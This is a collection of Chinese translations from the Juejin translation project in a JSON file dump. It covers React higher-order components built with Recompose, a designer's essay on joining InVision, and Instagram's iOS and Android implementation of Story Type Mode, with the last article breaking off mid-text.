跟开发工程师进行原型展示。让有设计思维的开发工程师帮助你开发原型的动画，手势和触觉反馈。\n\n#### 对于开发工程师\n\n1.  将这些建议应用到你自己开发的自定义交互组件上。考虑如何更有趣的将它们结合到一起。\n2.  告诉你的设计师关于这些新的可能。许多设计师没有意识到 3D touch，触觉反馈，手势和弹簧动画的真正力量。\n3.  与设计师一起演示原型。帮助他们在真机上查看自己的设计，并且创建一些工具帮助他们，来让设计更加的有效率。\n\n* * *\n\n如果你喜欢这篇文章，请留下一些鼓掌。 👏👏👏\n\n**你可以点击鼓掌 50 次！** 所以赶快点啊！ 😉\n\n请将这篇文章在社交媒体上分享给你的 iOS 设计师/iOS 开发工程师朋友。\n\n如果你喜欢这种内容，你应该在 Twitter 上关注我。我只发高质量的内容。[twitter.com/nathangitter](https://twitter.com/nathangitter)\n\n感谢 [David Okun](https://twitter.com/dokun24) 校对。\n\n感谢 [Christian Schnorr](https://medium.com/@jenoxx?source=post_page) 和 [David Okun](https://medium.com/@davidokun?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-hocs-with-recompose.md",
    "content": "> * 原文地址：[Building HOCs with Recompose](https://medium.com/front-end-developers/building-hocs-with-recompose-7debb951d101)\n> * 原文作者：[Abhi Aiyer](https://medium.com/@abhiaiyer)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-hocs-with-recompose.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-hocs-with-recompose.md)\n> * 译者：[SHERlocked93](https://github.com/SHERlocked93)\n> * 校对者：[Eternaldeath](https://github.com/Eternaldeath), [SeanZhouSiyuan](https://github.com/SeanZhouSiyuan)\n\n# 使用 Recompose 来构建高阶组件\n\n在 [Workpop](http://www.workpop.com/careers) 公司，我们不断使用不同的组件设计模式来迭代我们的产品，以适应瞬息万变的 React 生态系统。早些时候，我们从试用高阶组件设计模式（HOC）中尝到一点甜头。\n\n#### 什么是高阶组件？\n\n**高阶组件只是一个函数，只不过它返回的是用来渲染 React 组件的函数。**\n\n这里有个例子：\n\n```jsx\nimport { Component } from 'React';\n\nexport function enhancer() {\n return (BaseComponent) => {\n   return class extends Component {\n     constructor() {\n        this.state = { visible: false }; \n     }\n     componentDidMount() {\n        this.setState({ visible: true });\n     }\n     render() {\n       return <BaseComponent {...this.props} {...this.state} />;\n     }\n   }  \n };\n}\n```\n\n正如你看到的这个例子，我们只有一个给你的组件提供功能的函数。在本例中，我们添加了一些 `state` 来控制可见性。\n\n我们可以看看它的使用方式：\n\n```jsx\n// 展示型组件\n\nfunction Sample({ visible }) {\n return visible ? <div> I am Visible </div> : <div> I am not Visible </div>\n}\n\nexport default enhance()(Sample);\n```\n\n#### 高阶组件模式的意义何在？\n\n当构建组件时，我强烈建议将展示型组件和增强型组件(高阶组件)进行分离。我喜欢使用术语**增强型组件**来描述高阶组件，是因为这个词从字面上可以让我们更好的理解它的用途。\n\n增强型组件的用途：\n\n*   可以给其他的展示型组件进行相同的代码复用；\n*   简化可读性较差的臃肿的组件；\n*   可以控制传入组件的渲染；\n*   可以给任何组件增加 `state`，这意味着你不再需要依赖 Redux 来托管所有 `state`（如果你正这样做）；\n*   操作你传给展示型组件的 `props`（map，reduce 等任何你喜欢的方法）。\n\n#### 为什么不使用类来实现它呢？\n\n如果你想用 ES6 的类语法来实现也可以。我个人倾向于使用函数式无状态的组件来构建应用的 UI。\n\n```jsx\nfunction HellWorld({ message = 'Hello World' }) {\n  return <h1>{message}</h1>;\n}\n```\n\n使用函数式组件的优点：\n\n*   模块化代码 — 可以在整个项目范围内复用你的代码段；\n*   只依赖于 props — 默认没有 state；\n*   更便于单元测试 — 对测试工具 enzyme/jest 更友好的测试接口；\n*   更便于 Mock 数据 — 可以对不同场景方便的进行数据 Mock。\n\n#### 我们走过的旅程\n\n然后我们开始在生产环境中深度使用高阶组件了，并在使用过程中遇到了几个问题。比如为简单的场景不断地编写简单地高阶组件就很无聊，没有将多个高阶组件进行合成的方法，也无法避免开发出冗余的高阶组件（这个最麻烦，但我清楚这有时确实会发生）。人们逐渐陷入高阶组件的语法和观念中寸步难行（正如现在很多工程师的状态），这种模式似乎也已渐渐失去了价值。\n\n我们真正需要的解决方案是这样的：\n\n*   强制模式\n*   易于组合\n*   易于使用\n\n这就是我们为何引入 [**Recompose**](https://github.com/acdlite/recompose)。\n\n#### 开始使用 Recompose\n\n> Recompose 是一个为函数式组件和高阶组件开发的 React 工具库。可以把它当做 React 的 Lodash。\n\n这正是我们所需要的。我们的同事们都喜欢用 Lodash，现在跟他们说开发高阶组件将和使用 Lodash 有相似的开发体验。恩，有戏。\n\n我们来写个简单地 DEMO 看看：\n\n假如我们有这样一个组件约束：\n\n*   需要 `state` 来控制可见性；\n*   需要将改变可见性的函数放到我们的组件中；\n*   需要在组件中添加一些 props。\n\n#### 步骤 1 — 编写展示型组件\n\n```jsx\nexport default function Presentation({ title, message, toggleVisibility, isVisible }) {\n return  (\n   <div>\n     <h1>{title}</h1>\n     {isVisible ? <p>I'm visible</p> : <p> Not Visible </p>}\n     <p>{message}</p>\n     <button onClick={toggleVisibility}> Click me! </button>\n   </div> \n );\n}\n```\n\n现在我们需要去提取这个组件的增强型组件了。\n\n#### 步骤 2 — 编写容器\n\n我通常会把一些 Recompose 的增强型组件合成在一起，所以这个步骤是建立你的 compose：\n\n```jsx\nimport { compose } from 'recompose';\n\nexport default compose(\n  /*********************************** \n   *\n   * 我们将把增强型组件放在这里\n   *\n   ***********************************/\n)(Presentation);\n```\n\n什么是 Recompose 中的 compose？它相当于 `Lodash` 中的 `flowRight` 函数。\n\n我们可以使用 compose 来将多个高阶组件转化为一个高阶组件。\n\n#### 步骤 3 — 正确获取 `state`\n\n好了，我们现在需要从这个组件中正确获取 `state`。\n\n在 Recompose 中，我们可以使用 `withState` 增强型组件来设置组件内的 `state`，并且使用 `withHandlers` 增强型组件来设置组件的事件处理函数。\n\n```jsx\nimport { compose, withState, withHandlers } from 'recompose';\n\nexport default compose(\n  withState('isVisible', 'toggleVis', false),  \n  withHandlers({\n    toggleVisibility: ({ toggleVis, isVisible }) => {\n     return (event) => {\n       return toggleVis(!isVisible);\n     };\n    },\n  })\n)(Presentation);\n```\n\n这里我们设置了一个 `isVisible` 的 `state`，一个控制可见性的方法 `toggleVis`，和一个初始值 false。\n\n`withHandlers` 创建了一个高阶组件，它接受一系列 `props` 并返回一个处理函数，在这个例子中是切换可见性 `state` 的函数。`toggleVisibility` 这个函数将作为 `Presentation` 组件的一个 `prop`。\n\n#### 步骤 4 — 添加 props\n\n最后的要做的是给我们的组件附加一些 `props`。\n\n```jsx\nimport { compose, withState, withHandlers, withProps } from 'recompose';\n\nexport default compose(\n  withState('isVisible', 'toggleVis', false),  \n  withHandlers({\n    toggleVisibility: ({ toggleVis, isVisible }) => {\n     return (event) => {\n       return toggleVis(!isVisible);\n     };\n    },\n  }),\n  withProps(({ isVisible }) => {\n    return {\n      title: isVisible ? 'This is the visible title' : 'This is the default title',\n      message: isVisible ? 'Hello I am Visible' : 'I am not visible yet, click the button!',\n    };\n  })\n)(Presentation);\n```\n\n这个模式最酷的地方在于我们现在就可以操作组件的 `props` 了，在这里，通过操作控制可见性的 `state`，我们可以展示不同的 title 和 message。依我看，这个增强型组件**远比**原来全写在 render 函数中的方式简洁。\n\n#### 总结\n\n现在你看到了，我们有了一个可复用的高阶组件，它可以被用在其他的展示性组件上。同时可以看到我们移除了原来高阶组件写法中的很多样板语法。\n\n在 Recompose 中还有很多有用的 API，[了解更多](https://github.com/acdlite/recompose/blob/master/docs/API.md)！它真的非常像 `Lodash`，现在就打开文档开始写代码吧！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-the-design-ecosystem-of-the-future.md",
    "content": "> * 原文地址：[Building the Design Ecosystem of the Future](https://medium.com/@pablostanley/building-the-design-ecosystem-of-the-future-d22b663fed1f)\n> * 原文作者：[Pablo Stanley](https://medium.com/@pablostanley?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-the-design-ecosystem-of-the-future.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-the-design-ecosystem-of-the-future.md)\n> * 译者：[MeFelixWang](https://github.com/MeFelixWang)\n> * 校对者：[StellaBauhinia](https://github.com/StellaBauhinia)\n\n# 构建未来的设计生态系统\n\n## 我为什么要加入 InVision\n\n很高兴告诉大家我加入了 InVision 团队，在 [Studio](https://www.invisionapp.com/studio) 平台工作。我们的目标是建立起连接最紧密的设计生态系统，使团队能够安然度过设计过程中从构思到开发的每个阶段。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*YueL6vogJTWvNi-03_h2Vw.gif)\n\n### 设计工具的演变\n\n在过去几年中，现代设计师的角色以惊人的速度演变着。对此我深有体会。曾经被认为是创造了漂亮像素的人已经转变为应用研究成果、创造浏览体验、增加交互设计以及通过为公司用户发声而加入领导者行列的人。\n\n由于这种快速转变，一系列新的责任转移到了设计师身上。技术的进步要求设计人员针对各种内容、设备和语言进行设计。曾经的一个静态像素，现在变成了一个集接收、增长、缩小和动画于一体的动态单元。我们现在将想法转化为概念、草图、线框、屏幕、流程、原型、动画、代码，最后转化为产品。\n\n在这种演变的同时，设计工具已经发展到能够支持这些特定需求了。这包括从专门为创建屏幕设计和交互式原型而构建的工具到实现文档响应式布局，实现设计传递以及支持实时协作的插件。\n\n令人兴奋的是看到如此多样化的工具集出现，但这也最终导致设计师的不确定性，并且在许多情况下，设计工作流程被破坏了。💔\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*MkogGsVeqrb3HpzbF4u0Dg.gif)\n\n### 学习成为一名设计师\n\n四年前，我从平面设计师转变为“产品设计师”。老实说，当时我并不知道产品设计师究竟是什么。但它似乎很简单。就是绘制大量的盒子，添加文本，并将所有内容对齐到左边，对吧？\n\n哦，我错了。产品设计涉及的东西不止于此。有要遵循的流程，有实施的方法，有合作伙伴以及使用的工具。那时候，没有太多的学习资源，我们把设计领导者写的稀缺的 Medium 文章视为福音。🙏🏽\n\n在此演变的过程中，越来越多的资源开始出现，使得成为产品设计师的道路变得容易了一些。[Meng To](https://medium.com/@mengto) 的 [Design+Code](https://designcode.io/) 教会了我们如何使用必要的工具，[uxdesign.cc](https://medium.com/@uxdesigncc) 让我们深入了解了什么是用户体验。我决定加入他们并与其他设计师分享我在学习过程中学到的东西。我开始在湾区举办[设计研讨会]((https://www.meetup.com/))，并创建了一个由教程组成的[ YouTube 频道]((https://www.youtube.com/c/sketchtogethertv))。\n\n为了学习如何成为更好的产品设计师，我决定教授别人如何成为一名产品设计师。听起来违反直觉，对吧？但这有点道理。当你试图展示某些东西时会迫使自己去深刻理解它，这样你就可以将其分解然后加以解释。\n\n分享我所学到的东西让我置身于一个梦幻般的创造者社区。人们渴望知识，由一种令人难以置信的创造力所驱动，他们会公开分享他们学到的东西。我很幸运能成为这个令人难以置信的团队的一员。\n\n我的下一步计划是从教导人们如何使用设计工具转变为加入一个为他们创建设计工具的团队。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*SenVAHnqgG4uTWEm971hXQ.gif)\n\n### 为什么选择 InVision\n\n根据 [Jim Collins](https://www.jimcollins.com/article_topics/articles/good-to-great.html) 的说法，伟大公司的发展征程并不始于他们的目标或是他们的途径，而是开始于他们的团队。他们从让那些愿意付出几倍努力的人上车开始发迹。没有比 InVision 更好的例子了。\n\n在过去的几年里，我一直与 InVision 的人保持着联系，在插件、资源方面进行合作，只是对设计和工具感到不安。虽然他们的专业性和沟通能力一直很优秀，但我注意到的最震撼的是他们的人。我觉得遇到的每个人都与他们目前的岗位完美适配，而事实也的确如此。\n\n该团队让 InVision 快速成长并保持稳定。他们创造了一些最受欢迎的设计工具，如 [Craft](https://www.invisionapp.com/craft)、[Design System Manager](https://www.invisionapp.com/blog/announcing-invision-design-system-manager/)，[Design Better](https://www.designbetter.co/)、[Freehand](https://www.invisionapp.com/feature/freehand)、[Inspect](https://www.invisionapp.com/feature/inspect)，以及现在的 [Studio](https://www.invisionapp.com/studio) —— 一个面向现代设计师的屏幕设计工具。加入这样一支优秀的团队将是一次学习经历。我迫不及待地想与一些我最钦佩的最有才华的设计师和聪明的产品人并肩工作。🙌🏽\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*8Z9ciGXuvpoAPDv_N8zNew.gif)\n\n### 适合所有人的设计工具\n\n如果你用来创建令人惊叹的体验所需的一切都在同一个设计生态系中会怎样？听起来像圣杯，对吧？随着 Studio 平台的推出，这很快就会实现。我正在加入一个与第三方合作的团队，帮助他们提供高质量的体验。我们将帮助为顶级应用程序提供设计资产和资源。我们将与社区联系，了解他们的需求并帮助他们加入我们的平台。\n\n我们正在为该平台建立一个由工程师、设计师和营销人员组成的支持团队。此外，我们正在为信仰充值 —— [Design Forward Fund](https://www.invisionapp.com/design-forward-fund) 正在向为 InVision Studio 创建世界级应用和附加组件的人和公司提供 500 万美元的赠款和股权投资。我想像着一个由创造者社区建立和推动的健康生态系统。如果你对可以改进 Studio 内设计工作流程的应用程序有好的想法，我们很希望听到！📣\n\n我很高兴能加入 InVision 成为平台的设计主管。我们邀请你、创造者、开发者和企业家加入我们，让梦想成真 —— 构建未来的设计生态系统。\n\n* * *\n\n顺便说一句，此文章中的所有动画都是使用 [Studio](https://www.invisionapp.com/studio) 制作的。你可以[在这里下载](https://www.dropbox.com/sh/nsq4kd2w9v7801h/AAAbNsPy5vLbKOiPIQgFDTDoa?dl=0)。\n\n* * *\n\n感谢 [Courtney M. Sawyer](https://medium.com/@courtneymsawyer)、[Edgar Chaparro](https://medium.com/@Echaparro) 和 [Lindsey Scott](https://medium.com/@lindseylinds) 帮助我解决语法上的恐怖问题。\n\n感谢 [Courtney Sawyer](https://medium.com/@csawyer?source=post_page)、[Lindsey Scott](https://medium.com/@lindseylinds?source=post_page) 和 [Edgar Chaparro](https://medium.com/@Echaparro?source=post_page). [No rights reserved](http://creativecommons.org/publicdomain/zero/1.0/)。作者没有[保留任何权利]（[No rights reserved](http://creativecommons.org/publicdomain/zero/1.0/)）。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-type-mode-for-stories-on-ios-and-android.md",
    "content": "> * 原文地址：[Building Type Mode for Stories on iOS and Android](https://instagram-engineering.com/building-type-mode-for-stories-on-ios-and-android-8804e927feba)\n> * 原文作者：[Instagram Engineering](https://instagram-engineering.com/@InstagramEng?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-type-mode-for-stories-on-ios-and-android.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-type-mode-for-stories-on-ios-and-android.md)\n> * 译者：[金西西](https://github.com/melon8)\n> * 校对者：[ALVINYEH](https://github.com/ALVINYEH)，[jasonxia23](https://github.com/jasonxia23)\n\n# Story 中 Type Mode 在 iOS 和 Android 上的实现\n\nInstagram 最近推出了 [Type Mode](https://instagram-press.com/blog/2018/02/01/introducing-type-mode-in-stories/)，这是一种在 Story 上发布有创意的、动态文本样式和背景的帖子的新方式。Type Mode 对我们来说是一个有趣的挑战，因为这是我们的一次创新：让人们在在没有照片或视频辅助的情况下在 Story 上进行分享 —— 我们希望确保 Type Mode 仍然是一种有趣、可定制且具有视觉表现力的体验。\n\n在 iOS 和 Android 上无缝地实现 Type Mode 功能有各自相应的一系列挑战，包括动态调整文本大小和自定义填充背景。在这篇文章中，将看到我们如何在 iOS 和 Android 平台上完成这项工作。\n\n![](https://cdn-images-1.medium.com/max/800/1*B_eL2GjOQGhd_OxC3nEXKA.jpeg)\n\n#### 动态调整文本输入的大小\n\n在 Type Mode 下，我们想要创建一个让人们可以强调特定的单词或短语的文本输入体验。一种方法是构建两端对齐的文本样式，动态调整每一行的大小，以填充既定的宽度（在 Instagram 的现代、霓虹和粗体中使用)。\n\n**iOS**\n\niOS 的主要挑战是在原生的 `UITextView` 中渲染可以动态改变大小的文本，这让用户得以快速熟悉的方式输入文本。\n\n**在存储文本前调整文字大小**\n\n当你输入一行文本的时候，文字大小应该随着输入而相应缩小，直到达到最小字体。\n\n![](https://cdn-images-1.medium.com/max/800/1*Chw3Adea66Me49A2wPGR-g.gif)\n\n为了实现这个需求，我们结合了 `UITextView.typingAttributes`、`NSAttributedString` 和 `NSLayoutManager`。\n\n首先，我们需要计算我们的文本将呈现什么样的字体和大小。我们可以使用 `[NSLayoutManager enumerateLineFragmentsForGlyphRange:usingBlock:]` 来抓取当前输入的那行文字的范围。根据这个范围，我们可以创建一个带有尺寸的字符串来计算最小字体大小。\n\n```objc\nCGFloat pointSize = 24.0; // 随意\nNSAttributedString *attributedString = [[NSAttributedString alloc] initWithString:string attributes:@{NSFontAttributeName:[UIFont fontWithName:fontName size:pointSize]}];\nCGFloat textWidth = CGRectGetWidth([attributedString boundingRectWithSize:CGSizeMake(CGFLOAT_MAX, CGFLOAT_MAX) options:NULL context:nil]);\nCGFloat scaleFactor = (textViewContainerWidth / textWidth);\nCGFloat preferredFontSize = (pointSize * scaleFactor);\nreturn CLAMP_MIN_MAX(preferredFontSize, minimumFontSize, maximumFontSize) // 将字体固定住，在最大值最小值之间\n```\n\n为了能以正确的大小绘制文本，我们需要在 `UITextView` 的 `typingAttributes` 中使用我们新的字体大小。`UITextView.typingAttributes` 是用于设置用户正在输入的文本的属性。在 `[id <UITextViewDelegate> textView:shouldChangeTextInRange:replacementText:]` 方法中实现比较合适。\n\n```\n- (BOOL)textView:(UITextView *)textView shouldChangeTextInRange:(NSRange)range replacementText:(NSString *)text {\n    NSMutableDictionary *typingAttributes = [textView.typingAttributes mutableCopy];\n    typingAttributes[NSFontAttributeName] = [UIFont fontWithDescriptor:fontDescriptor size:calculatedFontSize];\n    textView.typingAttributes = typingAttributes;\n    return YES;\n}\n```\n\n这意味着，随着用户输入，字体大小将缩小，直到达到某个指定的最小值。这时 `UITextView` 会像通常那样包着我们的文本。\n\n**在存储文本后整理文字**\n\n在我们的文本被提交到文本存储后，我们可能需要清理一些尺寸属性。我们的文本可能已经换行，或者用户可以通过手动添加换行符，在单独的行上写入更大的文字来「强调」。\n\n![](https://cdn-images-1.medium.com/max/800/1*DNzHUA7Mo_yYSA4kCnk7TA.png)\n\n放置这个逻辑的好地方是 `[id <UITextViewDelegate> textViewDidChange:]` 方法。这发生在文本被提交到文本存储，并且最初由文本引擎排版之后。\n\n要获得每行的字符范围列表，我们可以使用 `NSLayoutManager`。\n\n```objc\nNSMutableArray<NSValue *> *lineRanges = [NSMutableArray array];\n[textView.layoutManager enumerateLineFragmentsForGlyphRange:NSMakeRange(0, layoutManager.numberOfGlyphs) usingBlock:^(CGRect rect, CGRect usedRect, NSTextContainer * _Nonnull textContainer, NSRange glyphRange, BOOL * _Nonnull stop) {\n    NSRange characterRange = [layoutManager characterRangeForGlyphRange:glyphRange actualGlyphRange:NULL];\n    [lineRanges addObject:[NSValue valueWithRange:characterRange]];\n}];\n```\n\n然后，我们需要通过在每行具有正确字体大小的范围上设置属性来操作 `NSTextStorage`。\n\n编辑 `NSTextStorage` 有三个步骤，它本身就是 `NSMutableAttributedString` 的子类。\n\n1. 调用 `[textStorage beginEditing]` 来表示我们正在对文本存储进行一次或多次更改。\n2. 发送一些编辑信息到 `NSTextStorage`。在我们的例子中，`NSFontAttributeName` 属性应该设置为对应行的正确字体大小。我们可以使用类似的方法来计算字体大小，就像我们之前做的那样。\n\n```objc\nfor (NSValue *lineRangeValue in lineRanges) {\n    NSRange lineRange = lineRangeValue.rangeValue;\n    const CGFloat fontSize = ... // 与上文相同的字体大小计算方法\n    [textStorage setAttributes:@{NSFontAttributeName : [UIFont fontWithDescriptor:fontDescriptor size:fontSize]} range:lineRange];\n}\n```\n\n3. 调用 `[textStorage endEditing]` 来表示我们结束编辑文本存储。这会调用 `[NSTextStorage processEditing]` 方法，该方法将修复我们改变的范围内文本的属性。这也会调用正确的 `NSTextStorageDelegate` 方法。\n\nTextKit 是一个功能强大且现代化的 API，与 UIKit 紧密集成。许多文字体验都可以用它来设计，并且几乎每次 iOS 的新版本都会发布一些和文本相关的 API。使用 TextKit 你可以做任何事情，从创建自定义文本容器到修改实际生成的字形。而且由于它是建立在 CoreText 之上的，并且与 UITextView 等 API 集成，所以文本输入和编辑仍然感觉像原生 iOS 体验。\n\n#### Android\n\nAndroid 没有开箱即用的两端对齐的方法，但框架的 API 为我们提供了自己实现所需的全部工具。\n\n第一步是将文本用最小文本大小布局出来。稍后我们会扩展它，但是这会告诉我们有多少行和断行的位置：\n\n```java\nTextPaint textPaint = new TextPaint();\ntextPaint.setTextSize(SIZE_MIN);\nLayout layout =\n    new StaticLayout(\n        text,\n        textPaint,\n        availableWidth,\n        Layout.Alignment.ALIGN_CENTER,\n        1 /* spacingMult */,\n        0 /* spacingAdd */,\n        true /*includePad */);\nint lineCount = layout.getLineCount();\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*rKHCLpYSf-VZ_2yhyqzZCQ.png)\n\n接下来，我们需要浏览布局并分别调整每行文字的大小。没有直接的方法可以完美地得到某行文字的大小，但是我们可以通过二进制搜索来轻松估算出最大文字大小，而不会造成强制换行：\n\n```java\nint lowSize = SIZE_MIN;\nint highSize = SIZE_MAX;\nint currentSize = lowSize + (int) Math.floor((highSize - lowSize) / 2f);\nwhile (low < current) {\n  if (hasLineBreak(text, currentSize)) {\n    highSize = currentSize;\n  } else {\n    lowSize = currentSize;\n  }\n  currentSize = lowSize + (int) Math.floor((highSize - lowSize) / 2f);\n}\n```\n\n一旦我们为每行文字找到合适的尺寸，可以将它应用到一个 span 上。span 允许我们为每行文字使用不同的文本大小，而不是整个字符串只有单一文本大小：\n\n```java\ntext.setSpan(\n    new AbsoluteSizeSpan(textSize),\n    layout.getLineStart(lineNumber),\n    layout.getLineEnd(lineNumber),\n    Spanned.SPAN_INCLUSIVE_EXCLUSIVE);\n```\n\n现在，每行文本都会填充合适宽度！每次文本更改的时候，我们都可以重复此过程来实现动态调整文本。\n\n![](https://cdn-images-1.medium.com/max/800/1*zVc-ioRas9b8TRmhrESIHg.png)\n\n### 自定义背景\n\n我们还希望使用 Type Mode 让人们通过文字的背景来强调单词和短语（用于打字机字体和粗体）。\n\n#### iOS\n\n另一种我们可以利用 `NSLayoutManager` 的方式是绘制自定义背景填充。`NSAttributedString` 虽然可以用 `NSBackgroundColorAttributeName` 属性设置背景颜色，但它不可自定义，也不可扩展。\n\n![](https://cdn-images-1.medium.com/max/800/1*0oPlID5rtrmqtHRUZdbIkQ.png)\n\n例如，如果我们使用了 `NSBackgroundColorAttributeName`，整个文本视图的背景将被填充。我们不能排除行内空格、不能在行间留出空隙或者让填充的背景是圆角。谢天谢地，`NSLayoutManager` 给了我们重写绘制背景填充的方法。我们需要创建一个 `NSLayoutManager` 子类并重写 `drawBackgroundForGlyphRange:atPoint:`。\n\n```objc\n@interface IGSomeCustomLayoutManager : NSLayoutManager\n@end \n@implementation IGSomeCustomLayoutManager\n- (void)drawBackgroundForGlyphRange:(NSRange)glyphsToShow atPoint:(CGPoint)origin {\n    // Draw custom background fill\n    [super drawBackgroundForGlyphRange:glyphsToShow atPoint:origin];\n}\n    \n}];\n@end\n```\n\n通过 `drawBackgroundForGlyphRange:atPoint` 方法，我们可以再次利用 `[NSLayoutManager enumerateLineFragmentsForGlyphRange:usingBlock]` 来获取每一行片段的字形范围。然后使用 `[NSLayoutManager boundingRectForGlyphRange:inTextContainer]` 来获得每一行的边界矩形。\n\n```objc\n- (void)drawBackgroundForGlyphRange:(NSRange)glyphsToShow atPoint:(CGPoint)origin {\n  [self enumerateLineFragmentsForGlyphRange:NSMakeRange(0, self.numberOfGlyphs) usingBlock:^(CGRect rect, CGRect usedRect, NSTextContainer * _Nonnull textContainer, NSRange glyphRange, BOOL * _Nonnull stop) {\n       CGRect lineBoundingRect = [self boundingRectForGlyphRange:glyphRange inTextContainer:textContainer];\n       CGRect adjustedLineRect = CGRectOffset(lineBoundingRect, origin.x + kSomePadding, origin.y + kSomePadding);\n       UIBezierPath *fillColorPath = [UIBezierPath bezierPathWithRoundedRect:adjustedLineRect cornerRadius:kSomeCornerRadius];\n       [[UIColor redColor] setFill];\n       [fillColorPath fill];\n  }];\n}\n```\n\n这使得我们可以用指定的形状和间距给任意文本绘制背景填充。`NSLayoutManager` 也可以用来绘制其他文本属性，如删除线和下划线。\n\n**Android**\n\n乍看之下，感觉这在 Android 上应该很容易实现。我们可以添加一个 span 来修改文本背景颜色：\n\n```java\nnew CharacterStyle() {\n  @Override\n  public void updateDrawState(TextPaint textPaint) {\n    textPaint.bgColor = color;\n  }\n}\n```\n\n这是一个很好的首次尝试（也是我们第一个构建的代码），但它有一些限制：\n\n1.背景紧紧包裹着文字，无法调整间距。\n2.背景是矩形的，无法调整圆角。\n\n![](https://cdn-images-1.medium.com/max/800/1*o6uBmTEniyyrNh5qWgCv_Q.png)\n\n为了解决这些问题，我们尝试使用 `LineBackgroundSpan`。我们已经使用它来给经典字体渲染圆形的气泡背景，所以它自然也应该适用于新的文本样式。不幸的是，我们的新用例在 `Layout` 框架类中发现了一个微妙的 bug。如果你的文本在不同的行上有多个 `LineBackgroundSpan` 实例，那么 `Layout` 不会正确地遍历它们，其中一些可能永远不会被渲染。\n\n庆幸的是，我们可以通过对整个字符串应用单个 `LineBackgroundSpan` 来避免框架错误，然后我们自己依次绘制到每一个背景 span 上：\n\n```java\nclass BackgroundCoordinator implements LineBackgroundSpan {\n  @Override\n  public void drawBackground(\n      Canvas canvas,\n      Paint paint,\n      int left,\n      int right,\n      int top,\n      int baseline,\n      int bottom,\n      CharSequence text,\n      int start,\n      int end,\n      int currentLine) {\n    Spanned spanned = (Spanned) text;\n    for (BackgroundSpan span : spanned.getSpans(start, end, BackgroundSpan.class)) {\n      span.draw(canvas, spanned);\n    }\n  }\n}\n\nclass BackgroundSpan {\n  public void draw(Canvas canvas, Spanned spanned) {\n    // Custom background rendering...\n  }\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*J3cTb7oZpyE4jukQi0_mfA.png)\n\n#### 结论\n\nInstagram 拥有非常强大的原型设计文化，而设计团队的 Type Mode 原型让我们在每次迭代中都能感受到真实的用户体验。例如，对于霓虹灯样式，我们需要一种方法从调色板中获取单一颜色，然后为文本生成内部颜色和发光颜色。这个项目的设计师在他的原型中使用了一些方法，当他找到一个他喜欢的东西时，我们基本上只是在 Android 和 iOS 